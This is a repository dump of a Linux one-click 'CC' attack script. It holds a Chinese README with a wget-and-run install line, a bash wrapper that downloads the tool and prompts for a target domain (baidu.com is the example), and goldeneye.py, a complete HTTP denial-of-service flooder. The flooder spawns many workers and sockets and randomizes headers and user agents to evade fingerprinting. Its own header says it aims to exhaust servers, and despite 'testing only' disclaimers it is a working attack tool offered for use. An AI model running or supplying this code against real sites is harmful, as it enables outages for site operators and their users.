├── README.md ├── cc.sh └── goldeneye.py /README.md: -------------------------------------------------------------------------------- 1 | # cc-tool 2 | Linux下的CC一键脚本,基于黄金眼制作 3 | 4 | # 本脚本仅供测试使用!!不要作死!!请勿用于非法用途!! 5 | 6 | # 如何使用 7 | ``` 8 | wget -N --no-check-certificate "https://raw.githubusercontent.com/linux-terminal/cc/master/cc.sh" && bash cc.sh 9 | ``` 10 | -------------------------------------------------------------------------------- /cc.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/bin:/sbin 3 | export PATH 4 | 5 | which yum >/dev/null 2>/dev/null 6 | if [ $? -ne 0 ]; then 7 | Main=apt-get 8 | else 9 | Main=yum 10 | fi 11 | 12 | function main(){ 13 | echo "### web tool v1.1 ###" 14 | echo "### By GitHub@linux-terminal ###" 15 | echo "### Update: 2020-07-06 ###" 16 | echo "" 17 | echo -e "\033[41;33m 适用环境 Debian \033[0m" 18 | echo "Github链接 https://github.com/linux-terminal/cc \033[41;33m请给个星星\033[0m" 19 | echo "---------------------------------------------------------------------------" 20 | echo -e "\033[41;33m 本脚本仅供测试使用!!不要作死!!请勿用于非法用途!! \033[0m" 21 | echo -e "\033[41;33m 回车以继续,ctrl+C退出 \033[0m" 22 | echo " " 23 | echo "---------------------------------------------------------------------------" 24 | 25 | read -n 1 26 | $Main update -y && $Main upgrade -y 27 | wget https://raw.githubusercontent.com/linux-terminal/cc/master/goldeneye.py 28 | chmod +x goldeneye.py 29 | echo "输入要测压的域名: (例: https://baidu.com)" 30 | read domain 31 | echo "即将测压 $domain,请按回车以继续" 32 | ./goldeneye.py $domain 33 | } 34 | 35 | main 36 | -------------------------------------------------------------------------------- /goldeneye.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | $Id: $ 5 | 6 | /$$$$$$ /$$ /$$ /$$$$$$$$ 7 | /$$__ $$ | $$ | $$ | $$_____/ 8 | | $$ \__/ /$$$$$$ | $$ /$$$$$$$ /$$$$$$ /$$$$$$$ | $$ /$$ /$$ /$$$$$$ 9 | | $$ /$$$$ /$$__ $$| $$ /$$__ $$ /$$__ $$| $$__ $$| $$$$$ | $$ | $$ /$$__ $$ 10 | | $$|_ $$| $$ \ $$| $$| $$ | $$| $$$$$$$$| $$ \ $$| $$__/ | $$ | $$| $$$$$$$$ 11 | | $$ \ $$| $$ | $$| $$| $$ | $$| $$_____/| $$ | $$| $$ | $$ | $$| $$_____/ 12 | | $$$$$$/| $$$$$$/| $$| $$$$$$$| $$$$$$$| $$ | $$| $$$$$$$$| $$$$$$$| $$$$$$$ 13 | \______/ \______/ |__/ \_______/ \_______/|__/ |__/|________/ \____ $$ \_______/ 14 | /$$ | $$ 15 | | $$$$$$/ 16 | \______/ 17 | 18 | 19 | 20 | This tool is a dos tool that is meant to put heavy load on HTTP servers 21 | in order to bring them to their knees by exhausting the resource pool. 22 | 23 | This tool is meant for research purposes only 24 | and any malicious usage of this tool is prohibited. 25 | 26 | @author Jan Seidl 27 | 28 | @date 2014-02-18 29 | @version 2.1 30 | 31 | @TODO Test in python 3.x 32 | 33 | LICENSE: 34 | This software is distributed under the GNU General Public License version 3 (GPLv3) 35 | 36 | LEGAL NOTICE: 37 | THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY! 38 | IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY 39 | THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT. 40 | BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS. 41 | """ 42 | 43 | from multiprocessing import Process, Manager, Pool 44 | import urlparse, ssl 45 | import sys, getopt, random, time, os 46 | 47 | # Python version-specific 48 | if sys.version_info < (3,0): 49 | # Python 2.x 50 | import httplib 51 | HTTPCLIENT = httplib 52 | else: 53 | # Python 3.x 54 | import http.client 55 | HTTPCLIENT = http.client 56 | 57 | #### 58 | # Config 59 | #### 60 | DEBUG = False 61 | SSLVERIFY = True 62 | 63 | #### 64 | # Constants 65 | #### 66 | METHOD_GET = 'get' 67 | METHOD_POST = 'post' 68 | METHOD_RAND = 'random' 69 | 70 | JOIN_TIMEOUT=1.0 71 | 72 | DEFAULT_WORKERS=10 73 | DEFAULT_SOCKETS=500 74 | 75 | GOLDENEYE_BANNER = 'GoldenEye v2.1 by Jan Seidl ' 76 | 77 | USER_AGENT_PARTS = { 78 | 'os': { 79 | 'linux': { 80 | 'name': [ 'Linux x86_64', 'Linux i386' ], 81 | 'ext': [ 'X11' ] 82 | }, 83 | 'windows': { 84 | 'name': [ 'Windows NT 6.1', 'Windows NT 6.3', 'Windows NT 5.1', 'Windows NT.6.2' ], 85 | 'ext': [ 'WOW64', 'Win64; x64' ] 86 | }, 87 | 'mac': { 88 | 'name': [ 'Macintosh' ], 89 | 'ext': [ 'Intel Mac OS X %d_%d_%d' % (random.randint(10, 11), random.randint(0, 9), random.randint(0, 5)) for i in range(1, 10) ] 90 | }, 91 | }, 92 | 'platform': { 93 | 'webkit': { 94 | 'name': [ 'AppleWebKit/%d.%d' % (random.randint(535, 537), random.randint(1,36)) for i in range(1, 30) ], 95 | 'details': [ 'KHTML, like Gecko' ], 96 | 'extensions': [ 'Chrome/%d.0.%d.%d Safari/%d.%d' % (random.randint(6, 32), random.randint(100, 2000), random.randint(0, 100), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 30) ] + [ 'Version/%d.%d.%d Safari/%d.%d' % (random.randint(4, 6), random.randint(0, 1), random.randint(0, 9), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 10) ] 97 | }, 98 | 'iexplorer': { 99 | 'browser_info': { 100 | 'name': [ 'MSIE 6.0', 'MSIE 6.1', 'MSIE 7.0', 'MSIE 7.0b', 'MSIE 8.0', 'MSIE 9.0', 'MSIE 10.0' ], 101 | 'ext_pre': [ 'compatible', 'Windows; U' ], 102 | 'ext_post': [ 'Trident/%d.0' % i for i in range(4, 6) ] + [ '.NET CLR %d.%d.%d' % (random.randint(1, 3), random.randint(0, 5), random.randint(1000, 30000)) for i in range(1, 10) ] 103 | } 104 | }, 105 | 'gecko': { 106 | 'name': [ 'Gecko/%d%02d%02d Firefox/%d.0' % (random.randint(2001, 2010), random.randint(1,31), random.randint(1,12) , random.randint(10, 25)) for i in range(1, 30) ], 107 | 'details': [], 108 | 'extensions': [] 109 | } 110 | } 111 | } 112 | 113 | #### 114 | # GoldenEye Class 115 | #### 116 | 117 | class GoldenEye(object): 118 | 119 | # Counters 120 | counter = [0, 0] 121 | last_counter = [0, 0] 122 | 123 | # Containers 124 | workersQueue = [] 125 | manager = None 126 | useragents = [] 127 | 128 | # Properties 129 | url = None 130 | 131 | # Options 132 | nr_workers = DEFAULT_WORKERS 133 | nr_sockets = DEFAULT_SOCKETS 134 | method = METHOD_GET 135 | 136 | def __init__(self, url): 137 | 138 | # Set URL 139 | self.url = url 140 | 141 | # Initialize Manager 142 | self.manager = Manager() 143 | 144 | # Initialize Counters 145 | self.counter = self.manager.list((0, 0)) 146 | 147 | 148 | def exit(self): 149 | self.stats() 150 | print "Shutting down GoldenEye" 151 | 152 | def __del__(self): 153 | self.exit() 154 | 155 | def printHeader(self): 156 | 157 | # Taunt! 158 | print 159 | print GOLDENEYE_BANNER 160 | print 161 | 162 | # Do the fun! 163 | def fire(self): 164 | 165 | self.printHeader() 166 | print "Hitting webserver in mode '{0}' with {1} workers running {2} connections each. Hit CTRL+C to cancel.".format(self.method, self.nr_workers, self.nr_sockets) 167 | 168 | if DEBUG: 169 | print "Starting {0} concurrent workers".format(self.nr_workers) 170 | 171 | # Start workers 172 | for i in range(int(self.nr_workers)): 173 | 174 | try: 175 | 176 | worker = Striker(self.url, self.nr_sockets, self.counter) 177 | worker.useragents = self.useragents 178 | worker.method = self.method 179 | 180 | self.workersQueue.append(worker) 181 | worker.start() 182 | except (Exception): 183 | error("Failed to start worker {0}".format(i)) 184 | pass 185 | 186 | if DEBUG: 187 | print "Initiating monitor" 188 | self.monitor() 189 | 190 | def stats(self): 191 | 192 | try: 193 | if self.counter[0] > 0 or self.counter[1] > 0: 194 | 195 | print "{0} GoldenEye strikes hit. ({1} Failed)".format(self.counter[0], self.counter[1]) 196 | 197 | if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and self.counter[1] > self.last_counter[1]: 198 | print "\tServer may be DOWN!" 199 | 200 | self.last_counter[0] = self.counter[0] 201 | self.last_counter[1] = self.counter[1] 202 | except (Exception): 203 | pass # silently ignore 204 | 205 | def monitor(self): 206 | while len(self.workersQueue) > 0: 207 | try: 208 | for worker in self.workersQueue: 209 | if worker is not None and worker.is_alive(): 210 | worker.join(JOIN_TIMEOUT) 211 | else: 212 | self.workersQueue.remove(worker) 213 | 214 | self.stats() 215 | 216 | except (KeyboardInterrupt, SystemExit): 217 | print "CTRL+C received. Killing all workers" 218 | for worker in self.workersQueue: 219 | try: 220 | if DEBUG: 221 | print "Killing worker {0}".format(worker.name) 222 | #worker.terminate() 223 | worker.stop() 224 | except Exception, ex: 225 | pass # silently ignore 226 | if DEBUG: 227 | raise 228 | else: 229 | pass 230 | 231 | #### 232 | # Striker Class 233 | #### 234 | 235 | class Striker(Process): 236 | 237 | 238 | # Counters 239 | request_count = 0 240 | failed_count = 0 241 | 242 | # Containers 243 | url = None 244 | host = None 245 | port = 80 246 | ssl = False 247 | referers = [] 248 | useragents = [] 249 | socks = [] 250 | counter = None 251 | nr_socks = DEFAULT_SOCKETS 252 | 253 | # Flags 254 | runnable = True 255 | 256 | # Options 257 | method = METHOD_GET 258 | 259 | def __init__(self, url, nr_sockets, counter): 260 | 261 | super(Striker, self).__init__() 262 | 263 | self.counter = counter 264 | self.nr_socks = nr_sockets 265 | 266 | parsedUrl = urlparse.urlparse(url) 267 | 268 | if parsedUrl.scheme == 'https': 269 | self.ssl = True 270 | 271 | self.host = parsedUrl.netloc.split(':')[0] 272 | self.url = parsedUrl.path 273 | 274 | self.port = parsedUrl.port 275 | 276 | if not self.port: 277 | self.port = 80 if not self.ssl else 443 278 | 279 | 280 | self.referers = [ 281 | 'http://www.google.com/', 282 | 'http://www.bing.com/', 283 | 'http://www.baidu.com/', 284 | 'http://www.yandex.com/', 285 | 'http://' + self.host + '/' 286 | ] 287 | 288 | 289 | def __del__(self): 290 | self.stop() 291 | 292 | 293 | #builds random ascii string 294 | def buildblock(self, size): 295 | out_str = '' 296 | 297 | _LOWERCASE = range(97, 122) 298 | _UPPERCASE = range(65, 90) 299 | _NUMERIC = range(48, 57) 300 | 301 | validChars = _LOWERCASE + _UPPERCASE + _NUMERIC 302 | 303 | for i in range(0, size): 304 | a = random.choice(validChars) 305 | out_str += chr(a) 306 | 307 | return out_str 308 | 309 | 310 | def run(self): 311 | 312 | if DEBUG: 313 | print "Starting worker {0}".format(self.name) 314 | 315 | while self.runnable: 316 | 317 | try: 318 | 319 | for i in range(self.nr_socks): 320 | 321 | if self.ssl: 322 | if SSLVERIFY: 323 | c = HTTPCLIENT.HTTPSConnection(self.host, self.port) 324 | else: 325 | c = HTTPCLIENT.HTTPSConnection(self.host, self.port, context=ssl._create_unverified_context()) 326 | else: 327 | c = HTTPCLIENT.HTTPConnection(self.host, self.port) 328 | 329 | self.socks.append(c) 330 | 331 | for conn_req in self.socks: 332 | 333 | (url, headers) = self.createPayload() 334 | 335 | method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method 336 | 337 | conn_req.request(method.upper(), url, None, headers) 338 | 339 | for conn_resp in self.socks: 340 | 341 | resp = conn_resp.getresponse() 342 | self.incCounter() 343 | 344 | self.closeConnections() 345 | 346 | except: 347 | self.incFailed() 348 | if DEBUG: 349 | raise 350 | else: 351 | pass # silently ignore 352 | 353 | if DEBUG: 354 | print "Worker {0} completed run. Sleeping...".format(self.name) 355 | 356 | def closeConnections(self): 357 | for conn in self.socks: 358 | try: 359 | conn.close() 360 | except: 361 | pass # silently ignore 362 | 363 | 364 | def createPayload(self): 365 | 366 | req_url, headers = self.generateData() 367 | 368 | random_keys = headers.keys() 369 | random.shuffle(random_keys) 370 | random_headers = {} 371 | 372 | for header_name in random_keys: 373 | random_headers[header_name] = headers[header_name] 374 | 375 | return (req_url, random_headers) 376 | 377 | def generateQueryString(self, ammount = 1): 378 | 379 | queryString = [] 380 | 381 | for i in range(ammount): 382 | 383 | key = self.buildblock(random.randint(3,10)) 384 | value = self.buildblock(random.randint(3,20)) 385 | element = "{0}={1}".format(key, value) 386 | queryString.append(element) 387 | 388 | return '&'.join(queryString) 389 | 390 | 391 | def generateData(self): 392 | 393 | returnCode = 0 394 | param_joiner = "?" 395 | 396 | if len(self.url) == 0: 397 | self.url = '/' 398 | 399 | if self.url.count("?") > 0: 400 | param_joiner = "&" 401 | 402 | request_url = self.generateRequestUrl(param_joiner) 403 | 404 | http_headers = self.generateRandomHeaders() 405 | 406 | 407 | return (request_url, http_headers) 408 | 409 | def generateRequestUrl(self, param_joiner = '?'): 410 | 411 | return self.url + param_joiner + self.generateQueryString(random.randint(1,5)) 412 | 413 | def getUserAgent(self): 414 | 415 | if self.useragents: 416 | return random.choice(self.useragents) 417 | 418 | # Mozilla/[version] ([system and browser information]) [platform] ([platform details]) [extensions] 419 | 420 | ## Mozilla Version 421 | mozilla_version = "Mozilla/5.0" # hardcoded for now, almost every browser is on this version except IE6 422 | 423 | ## System And Browser Information 424 | # Choose random OS 425 | os = USER_AGENT_PARTS['os'][random.choice(USER_AGENT_PARTS['os'].keys())] 426 | os_name = random.choice(os['name']) 427 | sysinfo = os_name 428 | 429 | # Choose random platform 430 | platform = USER_AGENT_PARTS['platform'][random.choice(USER_AGENT_PARTS['platform'].keys())] 431 | 432 | # Get Browser Information if available 433 | if 'browser_info' in platform and platform['browser_info']: 434 | browser = platform['browser_info'] 435 | 436 | browser_string = random.choice(browser['name']) 437 | 438 | if 'ext_pre' in browser: 439 | browser_string = "%s; %s" % (random.choice(browser['ext_pre']), browser_string) 440 | 441 | sysinfo = "%s; %s" % (browser_string, sysinfo) 442 | 443 | if 'ext_post' in browser: 444 | sysinfo = "%s; %s" % (sysinfo, random.choice(browser['ext_post'])) 445 | 446 | 447 | if 'ext' in os and os['ext']: 448 | sysinfo = "%s; %s" % (sysinfo, random.choice(os['ext'])) 449 | 450 | ua_string = "%s (%s)" % (mozilla_version, sysinfo) 451 | 452 | if 'name' in platform and platform['name']: 453 | ua_string = "%s %s" % (ua_string, random.choice(platform['name'])) 454 | 455 | if 'details' in platform and platform['details']: 456 | ua_string = "%s (%s)" % (ua_string, random.choice(platform['details']) if len(platform['details']) > 1 else platform['details'][0] ) 457 | 458 | if 'extensions' in platform and platform['extensions']: 459 | ua_string = "%s %s" % (ua_string, random.choice(platform['extensions'])) 460 | 461 | return ua_string 462 | 463 | def generateRandomHeaders(self): 464 | 465 | # Random no-cache entries 466 | noCacheDirectives = ['no-cache', 'max-age=0'] 467 | random.shuffle(noCacheDirectives) 468 | nrNoCache = random.randint(1, (len(noCacheDirectives)-1)) 469 | noCache = ', '.join(noCacheDirectives[:nrNoCache]) 470 | 471 | # Random accept encoding 472 | acceptEncoding = ['\'\'','*','identity','gzip','deflate'] 473 | random.shuffle(acceptEncoding) 474 | nrEncodings = random.randint(1,len(acceptEncoding)/2) 475 | roundEncodings = acceptEncoding[:nrEncodings] 476 | 477 | http_headers = { 478 | 'User-Agent': self.getUserAgent(), 479 | 'Cache-Control': noCache, 480 | 'Accept-Encoding': ', '.join(roundEncodings), 481 | 'Connection': 'keep-alive', 482 | 'Keep-Alive': random.randint(1,1000), 483 | 'Host': self.host, 484 | } 485 | 486 | # Randomly-added headers 487 | # These headers are optional and are 488 | # randomly sent thus making the 489 | # header count random and unfingerprintable 490 | if random.randrange(2) == 0: 491 | # Random accept-charset 492 | acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ] 493 | random.shuffle(acceptCharset) 494 | http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], acceptCharset[1],round(random.random(), 1), round(random.random(), 1)) 495 | 496 | if random.randrange(2) == 0: 497 | # Random Referer 498 | url_part = self.buildblock(random.randint(5,10)) 499 | 500 | random_referer = random.choice(self.referers) + url_part 501 | 502 | if random.randrange(2) == 0: 503 | random_referer = random_referer + '?' + self.generateQueryString(random.randint(1, 10)) 504 | 505 | http_headers['Referer'] = random_referer 506 | 507 | if random.randrange(2) == 0: 508 | # Random Content-Trype 509 | http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded']) 510 | 511 | if random.randrange(2) == 0: 512 | # Random Cookie 513 | http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5)) 514 | 515 | return http_headers 516 | 517 | # Housekeeping 518 | def stop(self): 519 | self.runnable = False 520 | self.closeConnections() 521 | self.terminate() 522 | 523 | # Counter Functions 524 | def incCounter(self): 525 | try: 526 | self.counter[0] += 1 527 | except (Exception): 528 | pass 529 | 530 | def incFailed(self): 531 | try: 532 | self.counter[1] += 1 533 | except (Exception): 534 | pass 535 | 536 | 537 | 538 | #### 539 | 540 | #### 541 | # Other Functions 542 | #### 543 | 544 | def usage(): 545 | print 546 | print '-----------------------------------------------------------------------------------------------------------' 547 | print 548 | print GOLDENEYE_BANNER 549 | print 550 | print ' USAGE: ./goldeneye.py [OPTIONS]' 551 | print 552 | print ' OPTIONS:' 553 | print '\t Flag\t\t\tDescription\t\t\t\t\t\tDefault' 554 | print '\t -u, --useragents\tFile with user-agents to use\t\t\t\t(default: randomly generated)' 555 | print '\t -w, --workers\t\tNumber of concurrent workers\t\t\t\t(default: {0})'.format(DEFAULT_WORKERS) 556 | print '\t -s, --sockets\t\tNumber of concurrent sockets\t\t\t\t(default: {0})'.format(DEFAULT_SOCKETS) 557 | print '\t -m, --method\t\tHTTP Method to use \'get\' or \'post\' or \'random\'\t\t(default: get)' 558 | print '\t -n, --nosslcheck\tDo not verify SSL Certificate\t\t\t\t(default: True)' 559 | print '\t -d, --debug\t\tEnable Debug Mode [more verbose output]\t\t\t(default: False)' 560 | print '\t -h, --help\t\tShows this help' 561 | print 562 | print '-----------------------------------------------------------------------------------------------------------' 563 | 564 | 565 | def error(msg): 566 | # print help information and exit: 567 | sys.stderr.write(str(msg+"\n")) 568 | usage() 569 | sys.exit(2) 570 | 571 | #### 572 | # Main 573 | #### 574 | 575 | def main(): 576 | 577 | try: 578 | 579 | if len(sys.argv) < 2: 580 | error('Please supply at least the URL') 581 | 582 | url = sys.argv[1] 583 | 584 | if url == '-h': 585 | usage() 586 | sys.exit() 587 | 588 | if url[0:4].lower() != 'http': 589 | error("Invalid URL supplied") 590 | 591 | if url == None: 592 | error("No URL supplied") 593 | 594 | opts, args = getopt.getopt(sys.argv[2:], "ndhw:s:m:u:", ["nosslcheck", "debug", "help", "workers", "sockets", "method", "useragents" ]) 595 | 596 | workers = DEFAULT_WORKERS 597 | socks = DEFAULT_SOCKETS 598 | method = METHOD_GET 599 | 600 | uas_file = None 601 | useragents = [] 602 | 603 | for o, a in opts: 604 | if o in ("-h", "--help"): 605 | usage() 606 | sys.exit() 607 | elif o in ("-u", "--useragents"): 608 | uas_file = a 609 | elif o in ("-s", "--sockets"): 610 | socks = int(a) 611 | elif o in ("-w", "--workers"): 612 | workers = int(a) 613 | elif o in ("-d", "--debug"): 614 | global DEBUG 615 | DEBUG = True 616 | elif o in ("-n", "--nosslcheck"): 617 | global SSLVERIFY 618 | SSLVERIFY = False 619 | elif o in ("-m", "--method"): 620 | if a in (METHOD_GET, METHOD_POST, METHOD_RAND): 621 | method = a 622 | else: 623 | error("method {0} is invalid".format(a)) 624 | else: 625 | error("option '"+o+"' doesn't exists") 626 | 627 | 628 | if uas_file: 629 | try: 630 | with open(uas_file) as f: 631 | useragents = f.readlines() 632 | except EnvironmentError: 633 | error("cannot read file {0}".format(uas_file)) 634 | 635 | goldeneye = GoldenEye(url) 636 | goldeneye.useragents = useragents 637 | goldeneye.nr_workers = workers 638 | goldeneye.method = method 639 | goldeneye.nr_sockets = socks 640 | 641 | goldeneye.fire() 642 | 643 | except getopt.GetoptError, err: 644 | 645 | # print help information and exit: 646 | sys.stderr.write(str(err)) 647 | usage() 648 | sys.exit(2) 649 | 650 | if __name__ == "__main__": 651 | main() 652 | --------------------------------------------------------------------------------